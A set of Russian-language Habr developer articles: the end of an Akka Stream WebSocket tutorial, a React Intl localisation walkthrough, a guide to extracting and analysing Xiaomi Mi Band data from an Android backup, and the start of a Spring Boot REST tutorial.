.collect {
case tm: TextMessage ⇒ tm.textStream
}
.mapAsync(CORE_COUNT * 2 - 1)(in ⇒ in.runFold("")(_ + _).flatMap(in ⇒ Future.fromTry(parse(in).toTry.flatMap(_.as[WsIncome].toTry))))
.statefulMapConcat(() ⇒ {
val context = new ClientContext
m ⇒ (context → m) :: Nil
})
.mapConcat {
case (c: ClientContext, SetName(name)) ⇒
c.userName = Some(name)
Nil
case a ⇒ a :: Nil
}
.collect {
case (ClientContext(userName), Say(text)) ⇒ Say(s"$userName: $text")
case (_, Say(text)) ⇒ Say(s"unknown: $text")
}
.mapAsync(CORE_COUNT * 2 - 1)(out ⇒ Future(TextMessage(out.asJson.noSpaces)))
}
```
Есть и другой способ: можно реализовать свой filter/map унаследовав *GraphStage[FlowShape[A, A]]*.
**Пример (не адаптировано под предыдущий код)**
```
class AuthFilter(auth: ws.AuthMessage ⇒ Future[Option[UserProfile]])(implicit ec: ExecutionContext) extends GraphStage[FlowShape[ws.WsIncomeMessage, ws.WsContextIncomeMessage]] {
val in = Inlet[ws.WsIncomeMessage]("AuthFilter.in")
val out = Outlet[ws.WsContextIncomeMessage]("AuthFilter.out")
val shape = FlowShape.of(in, out)
override def createLogic(inheritedAttributes: Attributes): GraphStageLogic = {
new GraphStageLogic(shape) {
@volatile var profile: Option[UserProfile] = None
setHandler(in, new InHandler {
override def onPush(): Unit = profile match {
case Some(p) ⇒ push(out, ws.WsContextIncomeMessage(p, grab(in)))
case _ ⇒ grab(in) match {
case a: ws.AuthMessage ⇒ auth(a) onComplete {
case Success(p) ⇒
profile = p
pull(in)
case Failure(e) ⇒ fail(out, e)
}
case _ ⇒ pull(in)
}
}
})
setHandler(out, new OutHandler {
override def onPull(): Unit = pull(in)
})
}
}
}
```
В данном варианте фильтруется все сообщения до тех пор, пока не получено сообщение на авторизацию. Если авторизация пройдет успешно, сообщения проходят дальше совместно с профилем пользователя.
И напоследок сделаем так, чтобы всем подключенным пользователям каждую секунду отправлялось текущее время:
```
case object Tick extends WsOutgoing
implicit val WsOutgoingEncoder: Encoder[WsOutgoing] = {
case s: Say ⇒ s.asJson
case Tick ⇒ Json.obj("time" → DateTime.now.toIsoDateTimeString().asJson)
}
...
val broadcast = Source.tick[WsOutgoing](1.second, 1.second, Tick)
...
.collect {
case (ClientContext(userName), Say(text)) ⇒ Say(s"$userName: $text")
case (_, Say(text)) ⇒ Say(s"unknown: $text")
}
.merge(broadcast)
.mapAsync(CORE_COUNT * 2 - 1)(out ⇒ Future(TextMessage(out.asJson.noSpaces)))
```
Это базовые примеры того, как можно реализовать поддержку WebSocket в своем проекте. Пакет Akka Stream большой и разннобразный, он поможет решить довольно большой пласт задач, не переживая за масштабирование и параллелизацию.
**PS:** Используя новую для вас технологию в более-менее нагруженном проекте, не забывайте проводить нагрузочное тестирование, следить за памятью и горячими участками кода (в этом вам может помочь [gatling](http://gatling.io/)). Всем добра. | https://habr.com/ru/post/319978/ | null | ru | null |
# React Intl: интернационализация React-приложений
Библиотека `React Intl` предоставляет механизм для перевода текста на другие языки.
В данном "туториале" мы используем названную библиотеку для реализации интернационализации в проекте, написанном на `React`. Мы создадим простое приложение, позволяющее пользователю выбирать язык приложения.
Мы также реализуем возможность сохранения выбранного языка в локальном хранилище браузера для обеспечения его доступности после перезагрузки страницы и последующих визитах пользователя.
Вот как будет выглядеть наше приложение:
Демо приложения можно посмотреть [здесь](https://ibaslogic.github.io/i18n_react_intl_project/).
Прим. пер.: мы с вами также добавим русскую локализацию.
Интернационализация и локализация
---------------------------------
Как упоминалось ранее, `React Intl` позволяет настроить интернационализацию в приложении. Но что такое интернационализация?
Интернационализация — это процесс подготовки продукта — в нашем случае React-приложения — к использованию в разных локациях (языковых средах). Для обозначения интернационализации часто используется аббревиатура `Intl` или `i18n`.
Локализация (`l10n`) — перевод интернационализованного (или интернационализированного?) приложения с оригинального языка на другой.
Однако, локализация — это не просто перевод текста или сообщения на определенный язык. В процессе перевода должны учитываться культурные различия, например, правила написания чисел и дат или обозначения единиц измерения, денежных единиц и т.д.
К счастью, `React Intl` имеет встроенную поддержку указанных различий для ряда локализаций.
Настройка проекта
-----------------
Начнем с клонирования (копирования) простого проекта — с содержимым на английском языке — из [этого GitHub-репозитория](https://github.com/Ibaslogic/i18n_react_intl_project). Мы добавим поддержку для 4 дополнительных языков: русского, немецкого, французского и японского.
Открываем терминал, переключаемся на директорию для сохранения проекта и выполняем следующую команду:
```
git clone https://github.com/Ibaslogic/i18n_react_intl_starter
```
Переходим в директорию проекта и выполняем команду для установки зависимостей:
```
cd i18n_react_intl_starter
yarn
# или
npm i
```
Убедитесь, что на вашей машине установлен [`Node.js`](https://nodejs.org/en/).
После установки зависимостей, запускаем проект с помощью команды `yarn start` или `npm start`. Мы должны увидеть наше приложение в браузере по адресу `http://localhost:3000`.
Структура проекта выглядит так:
```
i18n_react_intl_starter
├── node_modules
├── public
├── src
│ ├── components
│ │ ├── App.js
│ │ ├── Content.js
│ │ ├── Footer.js
│ │ └── Header.js
│ ├── index.css
│ └── index.js
├── .gitignore
├── package.json
├── README.md
└── yarn.lock
```
Отлично. Теперь внедрим `React Intl` в наше приложение.
Настройка `React Intl`
----------------------
Останавливаем сервер для разработки и устанавливаем библиотеку:
```
yarn add react-intl
# или
npm i react-intl
```
Данная библиотека предоставляет все `API` и компоненты, необходимые для реализации интернационализации в приложении.
Обернем основной (корневой) компонент приложения (`App`) в компонент `IntlProvider`.
Что такое `IntlProvider`?
-------------------------
Как следует из названия, `IntlProvider` обеспечивает передачу важных настроек в субкомпоненты дерева компонентов (делает эти настройки доступными для дочерних компонентов, независимо от уровня их вложенности).
Субкомпоненты, предоставляемые `React Intl`, называются `formatted`. Они отвечают за перевод и форматирование во время выполнения (кода). Среди них можно назвать следующие наиболее часто используемые компоненты:
* `FormattedMessage`
* `FormattedNumber`
* `FormattedDate`
* `FormattedPlural`
* и [множество других](https://formatjs.io/docs/react-intl/components/)
Чаще всего, для интернационализации React-приложений используется компонент `FormattedMessage`, позволяющий пользователям переводить и форматировать простые и сложные строки и сообщения.
Возвращаемся к нашему проекту. Открываем файл `src/components/App.js` и оборачиваем компонент `App` в `IntlProvider`.
Не забудьте импортировать `IntlProvider` из `react-intl` в начале файла:
```
// ...
import { IntlProvider } from 'react-intl'
const App = () => {
return (
)
}
// ...
```
Посмотрим на то, что возвращает компонент `IntlProvider`. Для этого выведем его в консоль инструментов разработчика в браузере:
```
// ...
const App = () => {
console.log(IntlProvider)
// ...
}
```
Вот, что мы увидим в консоли:
Сосредоточимся на `defaultProps` — это настройки по умолчанию, используемые `IntlProvider`. Также мы получаем сообщение об ошибке, в котором говорится о необходимости определения локации. Прим. пер.: если в вашем случае, как и в моем, `console.log()` не сработает, попробуйте `console.dir()`.
Передадим `IntlProvider` необходимые пропы:
```
return (
)
```
После сохранения изменений, сообщение об ошибке исчезает.
Проп `locale`, который принимает строку, определяет, на каком языке рендерится приложение. Мы будет динамически изменять значение этого пропа на основе выбора пользователем того или иного языка.
Проп `message` принимает объект с набором переведенных строк, отображаемых на странице. Значение этого пропа также будет динамически меняться в зависимости от текущей локации.
Наконец, проп `defaultLocale` определяет локализацию по умолчанию и должен совпадать с "дефолтным" языком приложения.
Перед тем, как добавлять переведенные строки, поиграем с компонентами для форматирвоания.
Открываем файл `src/components/Footer.js` и добавляем следующие компоненты в инструкцию `return`:
```
// ...
import { FormattedDate, FormattedNumber, FormattedPlural } from 'react-intl'
const Footer = () => {
// ...
return (
{/\* ... \*/}
)
}
```
Сохраняем изменения и переходим в браузер. В самом низу страницы мы должны увидеть следующее:
```
6/26/2021 // текущая дата
2,000
5 clicks
```
Если мы изменим значение пропа `locale` на `de`, то увидим "немецкое" форматирование даты и числа:
```
26.6.2021
2.000
```
`React Intl` автоматически форматирует даты и числа на основе выбранной локации с помощью компонентов для форматирования (`FormattedDate` и `FormattedNumber`, соответственно).
Этим компонентам передается проп `value`, принимающий значения для форматирования.
У названных компонентов имеются и другие пропы, позволяющие выполнять тонкую настройку процесса форматирования:
```
return (
{/\* ... \*/}
{/\* ... \*/}
)
```
В этом случае для английской локации мы получим такой результат:
```
Jun 26, 2021
$2,000.00
```
А для немецкой — такой:
```
26. Juni 2021
2.000,00 $
```
Символ денежной единицы можно менять с помощью `currency='EUR'` для немецкой локации или `currency='RUB'` — для русской.
Кроме этих двух компонентов, в нашем распоряжении также имеется компонент `FormattedPlural`, позволяющий осуществлять правильный перевод значения из единственного числа во множественное. В примере с количеством "кликов" слово `click` было автоматически переведено во множественное число.
Использование `React Intl API`
------------------------------
Другим способом форматирования значений является использование [`React Intl API`](https://formatjs.io/docs/react-intl/api/). Несмотря на то, что более предпочтительным является использование методов компонентов, бывают ситуации, когда требуются методы, предоставляемые названным `API`, например, когда нужно перевести значения атрибутов `placeholder`, `title` или `aria-label` элемента.
Компоненты для форматирования используют этот `API` под капотом.
Посмотрим, как он работает. Импортируем хук `useIntl()` в `Footer.js`:
```
import {
// ...
useIntl
} from 'react-intl'
```
Если мы выведем `useIntl()` в консоль, то увидим все доступные функции для форматирования значений:
```
// ...
const Footer = () => {
// ...
const intl = useIntl()
console.log(intl)
// ...
}
```
Одной из таких функций является `formatDate()`. Применим ее:
```
// ...
const Footer = () => {
// ...
const intl = useIntl()
return (
{/\* <... \*/}
)
}
```
Не забудьте поменять значение `locale`, чтобы увидеть, как это работает.
Функция `formatDate()` также принимает объект с настройками, позволяющими выполнять дополнительную "кастомизацию":
Возвращаемся к проекту.
Перевод текстовых строк
-----------------------
Создаем директорию `i18n` в директории `src`. В этой директории создаем 2 файла `locales.js` и `messages.js`. `locales.js` будет содержать поддерживаемые локации, а `messages.js` — соответствующие переводы.
Добавляем в файл `i18n/locales.js` следующее:
```
export const LOCALES = {
ENGLISH: 'en-US',
RUSSIAN: 'ru-RU',
FRENCH: 'fr-FR',
GERMAN: 'de-DE',
JAPANESE: 'ja-JA'
}
```
Это необходимо для динамического определения локалей. Например, для доступа к `en-US` мы будем использовать `[LOCALES.ENGLISH]`.
Как определяется язык?
----------------------
Код `en-US` расшифровывается как `язык-СТРАНА`, мы можем указывать только [язык](https://www.gnu.org/savannah-checkouts/gnu/gettext/manual/gettext.html#Language-Codes) без [страны](https://www.gnu.org/savannah-checkouts/gnu/gettext/manual/gettext.html#Country-Codes).
Перевод
-------
Теперь добавляем в файл `i18n/messages.js` следующие переводы:
```
import { LOCALES } from './locales'
export const messages = {
[LOCALES.ENGLISH]: {
learn_to: `Hello, let's learn how to use React-Intl`,
price_display:
'How {n, number, ::currency/USD} is displayed in your selected language',
number_display:
'This is how {n, number} is formatted in the selected locale',
start_today: 'Start Today: {d, date}',
// меню
about_project: 'About the project',
contact_us: 'Contact us'
},
[LOCALES.RUSSIAN]: {
learn_to: 'Привет, научимся использовать React-Intl',
price_display:
'Как {n, number, ::currency/RUB} отображается на выбранном языке',
number_display:
'Вот как {n, number} форматируется на основе выбранной локации',
start_today: 'Начни сегодня: {d, date}',
// меню
about_project: 'О проекте',
contact_us: 'Свяжитесь с нами'
},
[LOCALES.FRENCH]: {
learn_to: 'Bonjour, apprenons à utiliser React-Intl',
price_display: `Comment {n, number, ::currency/USD} $ s'affiche dans la langue sélectionnée`,
number_display:
'Voici comment {n, number} sont formatés dans les paramètres régionaux sélectionnés ',
start_today: `Commencez aujourd'hui: {d, date}`,
// меню
about_project: 'À propos du projet',
contact_us: 'Contactez-nous'
},
[LOCALES.GERMAN]: {
learn_to: 'Hallo, lass uns lernen, wie man React-Intl benutzt',
price_display:
'Wie {n, number, ::currency/USD} in Ihrer ausgewählten Sprache angezeigt wird',
number_display:
'Auf diese Weise werden {n, number} im ausgewählten Gebietsschema formatiert',
start_today: 'Beginnen Sie heute: {d, date}',
// меню
about_project: 'Über das Projekt',
contact_us: 'Kontaktiere uns'
},
[LOCALES.JAPANESE]: {
learn_to: 'こんにちは、React-Intlの使い方を学びましょう',
price_display:
'選択した言語で{n, number, ::currency/USD}がどのように表示されるか',
number_display:
'これは、選択したロケールで{n, number}がフォーマットされる方法です。',
start_today: '今日から始める：{d, date}',
// меню
about_project: 'プロジェクトについて',
contact_us: 'お問い合わせ'
}
}
```
Данный файл состоит из исходного текста приложения и переводов для поддерживаемых локаций. Ключи объектов — это уникальные идентификаторы, которые могут называться как угодно. Мы будем использовать их для внедрения соответствующих строк в приложение.
Пока сосредоточимся на простых строках без аргументов в фигурных скобках, которые называются заменителями (placeholders).
Передадим эти данные в проп `message` компонента `IntlProvider`.
Доступ к объекту с английским переводом можно получить так:
```
messages[LOCALES.ENGLISH]
```
Передадим этот объект провайдеру. Позже мы реализуем логику динамического добавления переведенных сообщений на основе выбранной пользователем локации.
В файле `components/App.js` импортируем `LOCALES` и `messages`:
```
import { LOCALES } from '../i18n/locales'
import { messages } from '../i18n/messages'
```
Затем обновляем `IntlProvider`:
```
// ...
const App = () => {
const locale = LOCALES.ENGLISH
return (
...
)
}
// ...
```
Приведенный код загружает данные на английском языке в провайдер, после чего они становятся доступными для субкомпонентов.
Как упоминалось ранее, мы можем использовать `FormattedMessage` для форматирования сложных строк. Этот компонент идеально подходит для сообщений, содержащих текст, даты, числа и т.д.
Начнем с трансформации строки `Hello, let’s learn how to use React-Intl.`
Открываем файл `components/Content.js` и импортируем `FormattedMessage`:
```
import { FormattedMessage } from 'react-intl'
```
Затем заменяем строку в компоненте:
```
// ...
const Content = () => {
return (
{/\* ... \*/}
)
}
// ...
```
Для того, чтобы проверить работоспособность компонента, вручную поменяем значение `locale` в `App.js` на `ja-JA`:
```
const locale = LOCALES.JAPANESE
```
Сохраняем изменения и переходим в браузер:
`FormattedMessage` принимает проп `id`, значение которого должно совпадать с ключом соответствующего объекта из файла с переводами. Значение `id` должно быть уникальным в пределах локализации.
Использование аргументов
------------------------
В случае с сообщением, содержащим дату, количество или число, эти данные необходимо заменить соответствующими аргументами.
Ранее мы изучили, как форматировать эти типы значений с помощью `FormattedDate` и `FormattedNumber`. Но здесь мы будем использовать `FormattedMessage`, поскольку интересующие нас значения являются частью строки.
Как видно в файле с переводами, мы заменяем эти типы значений с помощью шаблона (паттерна) `{ key, type, format }`.
Например, у нас имеется такая строка:
```
price_display:
'How {n, number, ::currency/USD} is displayed in your selected language',
```
Первый элемент (`n`) — это ключ (`key`), который используется для поиска соответствующих данных. Второй элемент (`type`) — это тип данных для преобразования, соответствующий определенной локации.
Третий аргумент (`format`) — который является опциональным — позволяет определять дополнительную информацию о типе значения.
В данном случае мы указали, что заменитель для `number` должен быть форматирован как денежная единица — доллары США (`USD`). Список поддерживаемых денежных единиц можно найти [здесь](https://www.six-group.com/dam/download/financial-information/data-center/iso-currrency/lists/list_one.xml).
Для форматирования такого типа строки с помощью `FormattedMessage` необходимо сделать следующее:
Как и ожидалось, `id` указывает на текущую локацию для перевода, а заменитель заменяется (извиняюсь за тавтологию) значением `key`.
Если мы применим эту логику к проекту, наш файл `components/Content.js` будет выглядеть так:
```
import { FormattedMessage } from 'react-intl'
const Content = () => {
return (
)
}
export default Content
```
Сохраняем изменения и меняем локацию в файле `component/App.js`:
```
const locale = LOCALES.JAPANESE
```
Наше приложение выглядит так:
Плюрализация
------------
Ранее я упоминал, что компонент `FormattedPlural` используется для плюрализации текста. В этом разделе мы будем использовать `FormattedMessage` для плюрализации текстового сообщения.
В данный момент в нашем приложении отсутствует логика отображения правильного текста для единичного значения (`1`) счетчика (`count`).
Для реализации такой логики мы можем использовать паттерн, схожий с паттерном `{key, type, format}`, но вместо `type` и `format` используются `plural` и `matches`, соответственно.
Добавляем этот паттерн в объект с английским переводом:
```
click_count: 'You clicked {count, plural, one {# time} other {# times}}'
```
Категории `one` и `other` соответствуют единичной и множественной формам значения. Сами значения указываются в фигурных скобках после символа `#`, обозначающего количественное значение.
Добавляем `id` для других локаций:
```
// для русской
click_count:
'Вы кликнули {count, plural, one {# раз} other {# раз(а)}}',
// для немецкой
click_count:
'Sie haben {count, plural, one {# Mal} other {# Mal}} geklickt',
// для французской
click_count:
'Vous avez cliqué {count, plural, one {# fois} other {# fois}}',
// для японской
click_count: '{count, plural, one {# 回} other {# 回}}クリックしました',
```
Сохраняем изменения и редактируем файл `components/Footer.js`:
```
// до
You clicked {count} times
// после
```
Не забудьте импортировать `FormattedMessage` в начале файла.
Добавим перевод элементов меню. Импортируем `FormattedMessage` в файле `components/Header.js`:
```
import { FormattedMessage } from "react-intl'
```
Нам необходим доступ к соответствующим `key` файла с переводами. Обновляем массив `menu`:
```
const menu = [
{
key: 'about_project'
// ...
},
{
key: 'contact_us'
// ...
}
]
```
После этого мы можем использовать ключи для доступа к переводам в `FormattedMessage`.
Находим соответствующий код и обновляем его:
```
// до
{
menu.map(({ title, path }) => (
- [{title}]({path})
))
}
// после
{
menu.map(({ title, path, key }) => (
-
))
}
```
Для локализации текста кнопки и текста, предлагающего нажать на нее, добавим соответствующие ключи в файл `i18n/message.js`:
```
// для английского языка
click_button: 'Please click the button below',
click_here: 'click here',
// для русского языка
click_button: 'Пожалуйста, нажмите на кнопку ниже',
click_here: 'нажмите здесь',
// для французского языка
click_button: 'Veuillez cliquer sur le bouton ci-dessous',
click_here: 'Cliquez ici',
// и т.д.
```
После этого открываем `components/Footer.js` и заменяем текстовые строки компонентом `FormattedMessage`:
```
return (
{/\* Здесь находится содержимое подвала \*/}
{/\* ... \*/}
)
```
Меняем локацию в `App.js`, например, на французскую, и сохраняем изменения:
Добавление возможности выбора языка
-----------------------------------
Открываем файл `components/Header.js` и добавляем следующий код в инструкцию `return`:
```
const languages = [
{ name: 'English', code: LOCALES.ENGLISH },
{ name: 'Русский', code: LOCALES.RUSSIAN },
{ name: '日本語', code: LOCALES.JAPANESE },
{ name: 'Français', code: LOCALES.FRENCH },
{ name: 'Deutsche', code: LOCALES.GERMAN }
]
```
Не забываем импортировать `LOCALES`:
```
import { LOCALES } from '../i18n/locales'
```
Перебираем массив `languages` и формируем выпадающий список:
```
{/\* Выпадающий список для выбора языка \*/}
Languages
{languages.map(({ name, code }) => (
{name}
))}
```
Добавляем парочку стилей в `src/index.css`:
```
.switcher select {
width: 99px;
height: 30px;
}
```
Сохраняем изменения. После этого на странице появляется выпадающий список, но выбор определенного элемента из этого списка не влияет на содержимое страницы. Давайте это исправим.
Для того, чтобы сделать элемент `select` упарвляемым, необходимо добавить к нему пропы `value` и `onChange`. Значением пропа `value` является текущая локация, а `onChange` — обработчик изменения локации.
Поскольку `IntlProvider` является родительским компонентом, `App.js` должен знать о текущей локации.
Мы можем передать нужные данные в дочерний компонент `Header` через пропы. Данный процесс называется "передачей пропов" (prop drilling).
Открываем `components/App.js` и добавляем в него локальное состояние для выбранного языка:
```
const locale = LOCALES.ENGLISH
const [currentLocale, setCurrentLocale] = useState(locale)
```
Не забудьте импортировать хук `useState()`.
Теперь передадим локацию в компонент `Header` для ее использования в элементе `select`.
Далее деструктурируем пропы в компоненте `Header` и устанавливаем значения для `select`:
```
const Header = ({ currentLocale }) => {
// ...
return (
{/* ... */}
{/\* ... \*/}
)
}
```
Определяем обработчик выбора языка в `App.js` и также передаем его в `Header` в виде пропа:
```
// ...
const App = () => {
// ...
const hangeChange = ({ target: { value } }) => {
setCurrentLocale(value)
}
return (
{/* ... */}
{/\* ... \*/}
)
}
```
Далее снова возвращаемся в `Header`, извлекаем обработчик из пропов и используем его для обработки выбора языка:
```
const Header = ({ currentLocale, handleChange }) => {
// ...
return (
{/* ... */}
{/\* ... \*/}
)
}
```
Проверяем работоспособность приложения. Все работает. Круто!
Убедитесь, что определили ключ для текста `Languages` в файле с переводами.
Сохранение выбранного языка в локальном хранилище браузера
----------------------------------------------------------
На данный момент, если мы выберем другую локацию и перезагрузим страницу, локация будет сброшена к дефолтной. Изменим это поведение.
В этом разделе мы реализуем сохранение выбранного языка в локальном хранилище браузера. Это сильно улучшит пользовательский опыт работы с нашим приложением.
Открываем файл `App.js` и добавляем в инструкцию `return` следующий код:
```
function getInitialLocale() {
// получаем сохраненные данные
const savedLocale = localStorage.getItem('locale')
return savedLocale || LOCALES.ENGLISH
}
```
Затем обновляем логику установки начального значения для локального состояния текущей локации:
```
const [currentLocale, setCurrentLocale] = useState(getInitialLocale())
```
Наконец, обновляем код обработчика выбора языка:
```
const handleChange = ({ target: { value } }) => {
setCurrentLocale(value)
// сохраняем локацию в хранилище
localStorage.setItem('locale', value)
}
```
Прим. пер.: при работе с локальным хранилищем, рекомендуется использовать методы `JSON.stringify()` при записи данных и `JSON.parse()` при их извлечении, поскольку `localStorage` умеет работать только со строками. В данном случае, это не имеет значения, поскольку значением локации является строка, но при записи в хранилище объекта, например, он будет преобразован в `[object Object]` с помощью метода `toString()` и сохранен в таком виде, так что лучше взять за правило использовать связку `localStorage.setItem(key, JSON.stringify(value))` и `JSON.parse(localStorage.getItem(key))` для записи/извлечения данных из локального хранилища.
Эту строку можно удалить:
```
const locale = LOCALES.ENGLISH
```
Таким образом, при запуске приложения мы пытаемся получить сохраненную локацию из локального хранилища и установить ее в качестве текущей локации приложения. Если локация в хранилище отсутствует (например, при первом посещении страницы пользователем), то текущей локацией становится `LOCALES.ENGLISH`.
При изменении пользователем локации приложения, новое значение записывается в хранилище.
Заключение
----------
В данном туториале мы рассмотрели практически все, что вам нужно знать о библиотеке `React Intl`. Мы научились использовать этй библиотеку в React-приложении. Мы также реализовали сохранение выбранной пользователем локации в локальном хранилище браузера.
Надеюсь, статья вам понравилась. Исходный код проекта находится [здесь](https://github.com/Ibaslogic/i18n_react_intl_project).
---
[Купить VDS-сервер](https://macloud.ru/vps-vds) с быстрыми NVMе-дисками и посуточной оплатой можно у Маклауд.
[](https://macloud.ru/vps-vds&utm_source=habr&utm_medium=perevod&utm_campaign=igor) | https://habr.com/ru/post/564824/ | null | ru | null |
# Изучаем данные, собранные Xiaomi Mi Band за год
Введение
--------
Люди носят фитнес-браслеты по разным причинам, я могу предположить некоторые из них:
1. Для того, чтобы поддерживать себя в форме и выполнять цели по активности;
2. Потому что это некая модная штучка;
3. Чтобы ставить над собой эксперименты или узнать себя лучше.
Я ношу фитнес браслет по причине номер 3. В этой заметке я хочу рассказать о том, как можно извлечь данные из браслета и попробовать получить некоторые зависимости.
Методы для извлечения этих данных работают для **Mi Band 1**, **1S** и, возможно, **2** (приложение для 2, кажется, такое же).
Извлечение данных
-----------------
Для извлечения данных с браслета в первую очередь надо достать с телефона SQLite базу данных, в которой хранятся собираемые метрики. В случае Android'a делается это предельно просто [см. топик на форуме xda-developers](http://forum.xda-developers.com/general/accessories/xiaomi-mi-band-data-extraction-t3019156), [скрипты под актуальную базу](https://github.com/vologab/miband_analytics):
1. Подключаем Android телефон с включенным режимом отладки по USB к компьютеру;
2. Делаем бэкап приложения: `adb backup -f mi.ab -noapk -noshared com.xiaomi.hm.health`;
3. Создаем `dd if=mi.ab bs=1 skip=24 | python -c "import zlib,sys;sys.stdout.write(zlib.decompress(sys.stdin.read()))" > mi.tar`;
4. Распаковываем архив с БД: `tar xvf mi.tar apps/com.xiaomi.hm.health/db/ 2>&1 | tee -a log`;
5. Копируем БД: `cp -f apps/com.xiaomi.hm.health/db/origin_db* ./db/`.
Как результат, мы получаем SQLite базу данных с именем файла `db/origin_db_[0-9]+$`, в которой хранятся метрики Mi Band.
Загрузка и анализ данных
------------------------
Для изучения данных, на мой взгляд, удобно использовать IPython notebook: [Xiaomi\_Mifit\_miband\_data.ipynb](https://github.com/vologab/miband_jupyter_notebook/blob/master/Xiaomi_Mifit_miband_data.ipynb)
Метрики хранятся в таблице DATE\_DATA:
```
df = pd.read_sql_query("SELECT * from DATE_DATA", con)
```
Колонки в таблице, которые представляют интерес:
| колонка | описание |
| --- | --- |
| DATE | дата |
| SUMMARY | JSON с обработанными данными за день |
| DATA | сырые поминутные данные за сон[активность1], активность2, активность3 |
| DATA\_HR | сырые поминутные данные пульса |
### Агрегированные за день данные
Агрегированные данные хранятся в виде JSON:
```
{"slp":{"usrEd":-1440,"lt":457,"st":1464376080,"wk":15,"dp":30,"usrSt":-1440,"ed":1464406200},"v":5,"goal":8000,"stp":{"rn":2,"cal":257,"runDist":256,"wk":69,"ttl":5244,"runCal":13,"dis":3817}}
```
Данные делятся на 2 части: сон (**slp**) и активность (**stp**). Для сна хранится время начала и окончания — **st, ed**, а также время глубокого и легкого сна в минутах — **lt, dp**. Также хранится время просыпания между между началом и окончанием сна — **wk**. Для активности хранится суммарное количество "шагов" **ttl** — сумма показаний первичного датчика за день и другие производные величины `func(ttl, рост, вес)`.
### Сырые данные активности и пульса
Сырые данные активности сохраняются каждую минуту (за сутки 1440), и представляют собой 3 значения за кажду минуту. Первое значение — сон и значение от 0 до 127 (но в моем случае максимум 126), второе и третье — активность со значением от 0 до 255 (у меня максимум activity2 — 189, activity3 — 240).
Пульс сохраняется каждую минуту и имеет значения от 0 до 255.
Как сырые данные превращаются в агрегированные за день
------------------------------------------------------
Самый простой агрегат — это количество шагов за день — сумма значений activity3 за день. Со сном сложнее: я так и не научился сырые данные сна превращать в агрегированные. На форумах высказывалась мысль о том, что значение activity1 == 4 глубокий сон, а 5 — легкий, но так же просто, как с шагами, установить взаимосвязь между агрегированными данными и сырыми не получается.
Анализ данных
-------------
Во-первых, сколько я спал в течение года. Это значение оказалось ~ (7 +- 1) час. Кажется, с этим все ок.
Другая очевидная вещь — высыпаюсь я по выходным:
А если назвать отношение глубокого сна к легкому качеством, то выяснится, что лучшее качество сна у меня в четверг, и при этом глубой сон составляет 23% от всего времени сна. А в пятницу — самое плохое качество сна, боюсь даже предположить почему.
Максимальное количество "шагов" я совершаю в пятницу и субботу:
При этом среда у меня — день, когда я мало сплю и мало хожу, очевидных объяснений из разряда "я работаю из дома" — нет, поэтому это что-то новое для меня.
Надеюсь, что кто-нибудь из обладателей популярных браслетов Mi band тоже захочет поизучать себя и расскажет о своих особенностях. | https://habr.com/ru/post/464055/ | null | ru | null |
# Spring boot: маленькое приложение для самых маленьких
Всем привет! Меня зовут Варвара и я Java Developer в компании “Цифровые привычки”. Я прошла их курс по Java-разработке и по окончании получила оффер от компании. Сейчас я хочу поделиться материалом с одного из воркшопов, который нам проводил один из лекторов - Алексей Романов, Software Architect и преподаватель Бауманки.
В этой статье мы научимся создавать простые REST приложения. Напишем свое приложение с использованием SpringBoot, создадим свои контроллеры, воспользуемся JPA, подключим PostgreSQL.
Мы будем разрабатывать приложение в 3 этапа:
1. Создадим и запустим простое REST приложение на SpringBoot
2. Напишем приложение с сущностями, создадим контроллеры и подключим JPA
1. Создадим сущности и репозиторий
2. Добавим контроллеры
3. Напишем сервисную часть приложения
3. Запустим и протестируем наше приложение, удивимся, что все работает и порадуемся, что провели время с пользой и узнали что-то новое
### 1. Создадим и запустим простое REST приложение на SpringBoot
Мы пойдем по простому пути, а точнее зайдем на сайт-стартер проектов на SpringBoot: <https://start.spring.io/>. Выберем сборку gradle + Java. Запустим и соберем проект локально. Для этого через консоль используем команды, и ждем пока погдрузятся все библиотечки и соберется проект.
***./gradlew wrapper*** - загрузка нужной версии wrapper.
***./gradlew clean build bootRun*** - сборка проекта, прогон unit-тестов, запуск приложения.
Когда мы используем утилиту ***gradlew*** (по сути это оболочка, которая использует gradle), нам не нужно иметь заранее установленный Gradle на своем ПК. Эта оболочка может сама скачать и установить нужную версию, разобрать аргументы и выполнить задачи. По сути, используя gradlew, мы можем распространять/делиться проектом со всеми, чтобы использовать одну и ту же версию и функциональность Gradle. Gradlew читает информацию из файла ***gradle/wrapper/gradle-wrapper.properties***.
Мы собрали наше приложение, но пока оно только запускается, но не выполняет никаких других функций. Заходим в файл ***build.gradle***, можно сказать, что это мозг нашего проекта. Здесь хранится вся основная информация для конфигурации и сборки проекта. Сейчас он выглядит так:
```
plugins {
id 'java'
id 'org.springframework.boot' version '2.5.1'
id 'io.spring.dependency-management' version '1.0.11.RELEASE'
}
group = 'ru.dhabits.spring_boot_example'
version = '0.0.1-SNAPSHOT'
sourceCompatibility = '1.8'
repositories {
mavenCentral()
}
dependencies {
implementation 'org.springframework.boot:spring-boot-starter'
testImplementation 'org.springframework.boot:spring-boot-starter-test'
}
test {
useJUnitPlatform()
}
```
Раздел ***plugins*** содержит плагины, которые предоставляют необходимые библиотеки и их версии. Например, ***id 'java'*** - предоставляет возможность работы с самой java, без нее наше приложение не заработает вообще. Раздел ***repositories*** - отвечает за ресурс с которого будут скачаны недостающие библиотеки, по умолчанию это mavenCentral. ***dependencies*** - позволяет подключать необходимые нам зависимости, в том числе и стартеры SpringBoot. ***test*** - говорит о том, что на этапе прогона тестов будет использован JUnit. Параметры ***group***, ***version*** отвечают за группу и версию проекта, а ***sourceCompatibility*** - версию java.
Добавим в dependencies следующую зависимости для работы с PEST API:
```
implementation "org.springframework.boot:spring-boot-starter-web"
```
Создадим контроллер - класс с аннотацией *@RestController*, который умеет что-то выводить на экран. Добавим ему поле и метод, который возвращает значение этого поля.
```
@RestController
public class controller {
@Value("${spring.application.name}")
private String name;
@GetMapping
public String getNameApplication() {
return name;
}
}
```
***@RestController*** = @Controller + @ResponseBody. Аннотация ***@Controller*** умеет слушать, получать и отвечать на запросы. А ***@ResponseBody*** дает фреймворку понять, что объект, который вы вернули из метода надо прогнать через HttpMessageConverter, чтобы получить готовое к отправке клиенту представление.
***@Value("${spring.application.name}")*** - умеет читать из application.properties файла с помощью конструкции ***${}***. ***@GetMapping*** - сообщает SpringBoot, что это get метод и он умеет что-то возвращать.
В файл *application.properties* добавим строку:
```
spring.application.name=spring_boot_example
```
Вуаля! Теперь наше приложение не только запускается, но и выводит сообщение "spring\_boot\_example" по адресу: <http://localhost:8080/>.
### 2. Напишем приложение с сущностями, создадим контроллеры и подключим JPA
